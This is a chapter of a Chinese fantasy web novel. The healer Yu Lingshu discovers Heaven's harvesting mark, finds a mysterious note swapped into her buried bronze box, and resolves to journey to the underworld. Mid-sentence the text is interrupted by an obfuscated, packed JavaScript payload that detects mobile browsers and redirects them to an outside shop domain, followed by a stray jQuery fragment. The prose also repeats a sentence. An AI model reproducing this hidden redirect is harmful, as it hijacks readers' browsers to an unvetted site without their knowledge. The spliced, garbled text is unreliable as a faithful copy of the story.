锦鲤消散后的第七夜,时序渐近入冬。
灵枢医馆夜里没有点灯,檐下只悬一盏白烛,新换的灯芯燃着昏黄微光,孤悬在冷夜里,照不彻周遭的清寒。
余灵枢独坐院中土埂上,指尖轻捏那片锦鲤金鳞,默然对月凝睇。金鳞仅指甲盖大小,金红晕染,边缘蜷卷如经霜枯叶;鳞背隐刻一道细若发丝的符文,淡渺如烟,唯有冷月斜倾,方得窥见一丝纹路。
她右眼白瞳清莹如冷瓷,牢牢锁住那道符文,一动不动静坐许久,檐下白烛悄无声息,已燃去半寸灯芯。
“师父。”小安端着热茶走近,夜色寒凉,茶汤暖意散在风里,“您已坐了三个时辰,喝口茶暖一暖吧。”
余灵枢没有接茶,只缓缓抬手,从怀中取出三样物件,轻轻排在脚边土埂上。
第一件,是赵铁柱的借寿人皮契,纸页干枯发脆,符文暗沉发黑。
第二件,是从前医馆挂着的绿油灯,绕着灯身与生俱来、肉眼难辨的细密金纹。
第三件,便是掌心这片锦鲤金鳞。
月光漫落而下,三样物件光色参差不一,可落入她右眼白瞳之中,内里隐潜的符文脉络,走势、结印、气韵竟分毫不差,同源同轨。
她指尖几不可察地微微一僵,心底骤然浸满寒意。
“是同一种印记。”余灵枢语声沙哑,心底浸着寒意,“赵铁柱借寿,被打上此印;绿油灯引魂连脉,也藏此纹;锦鲤潜心积德,同样被烙上收割之记。”
“但凡被标记者,皆是天道蓄养的口粮。”
小安凑上前,小声问:“师父,这符文究竟定的是什么?”
“定众生归宿。”余灵枢指尖轻拂金鳞边缘,语气沉静却寒凉,“贪寿者,是圈养之畜;积德者,是蓄养之鱼。我行医济世半生,以为渡人渡厄,到头来才恍然惊醒,自己竟也成了天道手中,默默蓄粮的一柄刀。”
她抬手,轻轻抚过左眼蒙着青布的重瞳,又触到颈间贴身佩戴的“灵”“枢”双玉佩。
寒风扫过庭院,周遭草木尽已沾霜枯败,唯有不远处那株并蒂紫苏孑然伫立,不随秋霜凋零,不被冬寒摧折。根茎之下,正是早前她嘱小安埋入的青铜古匣,无声扎根,默然相守。
余灵枢目光落向那株并蒂紫苏,又望向它脚下的冻土。
青铜匣内里安放着绿油灯,秦灵枢的“医”字玉佩便藏在油灯机关之中,另有秦灵枢的旧医录,还有她当时亲手写下的一张字条:“吾已知局,吾将破局”。
今夜看透天道收割之秘,心绪难平,她忽然想再开匣一观。
“小安,去取药锄。”
“现在天这么冷,还要挖匣子吗?”
“嗯。”余灵枢淡淡颔首,“有些东西,该再看一看了。”
小安不解,却还是取来药锄,蹲在并蒂紫苏旁小心刨土。泥土埋入未久,土质尚松,不多时便露出青铜匣古朴的盖子。
余灵枢俯身,轻轻掀开匣盖。
匣内物件摆放一如她当初封存的模样:绿油灯、秦灵枢的《灵枢医录》,全都完好无损,分毫未动。
一应旧物皆安于原位,唯独一物,让余灵枢心头骤然一沉。
她亲手落笔、亲手安放的那张字条,竟凭空消失无踪。
取而代之,旧医录旁静静躺着一张素笺,字迹清冷陌生,只留十三个字:知局易,破局难。黄泉有路,勿独行。
小安看得心头发紧,声音微颤:“师父,匣子是您整理好,我亲手埋的,紫苏姑娘一直守在这里,寻常人根本靠近不得,怎么会有人悄无声息换走字条?”
余灵枢默然片刻,右眼白瞳缓缓扫过匣身肌理、周遭地气流转,又落向并蒂紫苏的根茎灵息。全无外力破封之痕,亦无术法潜入踪迹,连紫苏姑娘蛰伏的灵息都安稳如初,未曾被半分惊扰。
来人道行深不可测,既能避过灵植镇守,又能瞒过她观物勘气的白瞳,悄无声息换走字条,却不惊动分毫气息,分明早已在暗处,将她一举一动尽收眼底。
来人能耐深不可测,既能避过紫苏镇守,又能瞒过她观命之眼,悄然入匣换纸,却不伤一物、不惊一灵。
她伸手取出匣中秦灵枢的医录,随意翻动。字迹是秦灵枢生前亲笔,是她纵身断崖、逆抗天道之前留下的心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17910217|213096||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
迹随笔,只剖明所见所感,不预言后事,不牵扯旁人:
“连日静观天道运转,终勘破其隐秘:以功德为饵,以生灵为粮,待到修为功德养熟,便准时收割,夺其修为、散其形神。我行医半生,救人无数,蓦然惊觉,竟也沦为天道蓄粮之刃。天道不公,视众生如刍狗,吾不愿俯首顺从。决意远赴青云山断崖,以己身逆抗天道,纵知必遭抹杀,亦无悔无怯。只憾未能觅得破局之法,徒留一腔不甘。”
没有虚妄嘱托,没有后世宿命,只是一个看透天道冷酷、不愿俯首的医者,最后的不甘与决绝。
余灵枢指尖轻轻拢住纸页,心绪沉如寒潭。字字皆是眼底沧桑、心底不甘,字痕隐有滞涩,可想落笔之时,已是决意赴死。不需多言,亦能意会她逆抗天道后的惨烈结局。
而自己深埋地下的青铜匣,竟被神秘人悄然插手,预知她心迹,点破前路,留字提点。这人是敌是友,是隐世同道,还是另藏算计的局中人,全然未知。
白烛在冷风中微微摇晃,昏黄光影落在她满头银发上,添了几分霜色孤凉。
余灵枢将那张陌生素笺折起收入袖中,合上匣盖,不再覆土掩埋,俯身将青铜匣轻轻抱入怀中。
余灵枢抬眸望向正北沉沉冬夜。
凡人眼底唯有冬夜漆黑、寒寂无边,可在她右眼白瞳之中,却清晰望见一条金红缠绕的隐脉,自并蒂紫苏根下蜿蜒生出,如渗了霜色的血络,沉沉扎入冻土地底,一路延伸,直抵幽冥黄泉。
良久,余灵枢心意已定,转头看向小安。
“我入黄泉。”她语声清淡无波,却透着冬夜般孤凉决绝。
“入梦启路,远赴幽冥,去寻秦灵枢散落在黄泉的残念碎影……
那人既提前留字警示,便说明黄泉之路确有隐秘可循。我要寻清天道破绽,再凭着身上母亲留予我的双玉,试着撼动这既定的收割大局。”
夜风沉落,四野寂然。并蒂紫苏孑然伫立月下,似默然目送,亦似暗藏牵绊。
“小安。”余灵枢抱着青铜匣转身走向医馆,语声沉静笃定,“准备归虚术。今夜,我入梦,赴黄泉。”